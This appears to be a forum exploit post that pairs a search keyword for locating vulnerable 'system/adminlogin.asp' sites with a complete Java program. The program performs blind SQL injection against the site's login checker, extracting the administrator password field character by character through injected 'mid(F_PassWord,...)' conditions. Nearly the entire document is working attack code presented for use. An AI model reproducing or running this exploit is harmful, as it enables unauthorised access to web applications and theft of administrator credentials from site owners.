keyword:system/adminlogin.asp

EXP：jave的，请安装JAVE环境

package com.sogili.exp;

import java.io.*;
import java.net.*;

public class PostResquest {
       
        private String[] key={"1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","z","y"};

        public PostResquest() {
                String urlStr="http://www.xxxxx.com/system/chklogin.asp";
                String value = "managerName=asdads'or%20mid(F_PassWord,Num,1)='Str&tpassWord=123456&surl=&submit.x=0&submit.y=0";
                String tempValue;
                String tempValue2;
                OutputStreamWriter oswPost;
                BufferedReader brPost;
                try {
                        URL url=new URL(urlStr);
                        StringBuffer temp;
                        HttpURLConnection conn;
                        for(int k=1;k<=16;k++){
                                tempValue=value.replaceAll("Num",String.valueOf(k));
                                for(int i=0;i<key.length;i++){
                                        conn= (HttpURLConnection)url.openConnection();
                                        conn.setDoOutput(true);
                                        tempValue2=tempValue.replaceAll("Str", key[i]);
                                        oswPost=new OutputStreamWriter(conn.getOutputStream());
                                        oswPost.write(tempValue2);
                                        oswPost.flush();
                                        oswPost.close();
                                        brPost=new BufferedReader(new InputStreamReader(conn.getInputStream()));
                                        String line=null;
                                        temp=new StringBuffer();
                            while((line=brPost.readLine())!=null)
                            {
                                    line=new String(line.getBytes(),"gb2312");
                                    temp.append(line+"\r\n");
                            }
                            if(temp.indexOf("口令")>-1){
                                    System.out.print(key[i]);
                                    break;
                            }
                            if(i==key.length-1){
                                    System.out.println("出错了");
                                    return;
                            }
                           
                                }
                        }
                } catch (MalformedURLException e) {
                        e.printStackTrace();
                } catch (IOException e) {
                        e.printStackTrace();
                }
        }
        public static void main(String[] args) {
                new PostResquest();
        }
}